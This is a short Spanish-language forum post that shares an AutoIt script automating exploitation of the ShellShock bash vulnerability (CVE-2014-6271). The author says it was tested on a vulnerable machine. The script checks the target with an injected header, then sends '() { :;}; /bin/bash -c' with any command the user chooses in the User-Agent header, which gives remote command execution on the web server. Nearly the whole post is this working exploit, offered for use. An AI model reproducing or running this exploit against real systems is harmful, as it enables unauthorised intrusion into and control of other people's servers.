He tenido un rato y he echo este script que automatiza la explotacion del fallo de seguridad conocido como ShellShock, el codigo esta basado en el codigo python [Enlace externo eliminado para invitados] escrito por Claudio Viviani que lei para entender como funcionaba el fallo.
Testeado en una maquina vulnerable.
#cs ----------------------------------------------------------------------------
AutoIt Version: 3.3.8.1
Author: Naker90
Parametros:
$sURL => URL de la pagina a explotar
$sCommand => Comandos a enviar al sistema vulnerado
Script Function:
Automatiza la explotacion de la vulnerabilidad ShellShock (CVE-2014-6271)
Basado en el codigo en Python de Claudio Viviani: http://www.homelab.it/wp-content/uploads/2014/09/gnu_b4sh_43_rci_v2.py_.txt
#ce ----------------------------------------------------------------------------
Func _ShellShock($sURL, $sCommand)
;Creando los objetos con los que vamos a trabajar
Local $oHTTP = ObjCreate('winhttp.winhttprequest.5.1')
Local $oERROR = ObjEvent('AutoIt.Error', 'Error')
;Comprobando que la pagina esta disponible
$oHTTP.Open('GET', $sURL, False)
$oHTTP.Send()
Local $sResponse = $oHTTP.Status()
if $sResponse = 200 then
;Comprobando que la pagina es vulnerable
$oHTTP.Open('POST', $sURL, False)
$oHTTP.SetRequestHeader('Naker-Noventa', '() { :;}; echo ' & chr(34) & 'Shell: Shock' & chr(34))
$oHTTP.send()
Local $sResponseHeaders = $oHTTP.GetAllResponseHeaders()
If StringInStr($sResponseHeaders, 'Shell') then
;Explotando la vulnerabilidad
Local $sHeaders = '() { :;}; /bin/bash -c ' & chr(34) & $sCommand & chr(34)
$oHTTP.Open('POST', $sURL, False)
$oHTTP.SetRequestHeader('User-Agent', $sHeaders)
$oHTTP.send()
MsgBox(64, 'OK', 'Comandos enviandos!')
Else
MsgBox(16, 'ERROR', 'El Sistema no es vulnerable!')
exit
EndIf
EndIf
EndFunc
Func Error()
Msgbox(16, 'ERROR', 'Ha ocurrido un error con la pagina especificada, compruebe la url y pruebe de nuevo')
EndFunc
Saludos y hasta pronto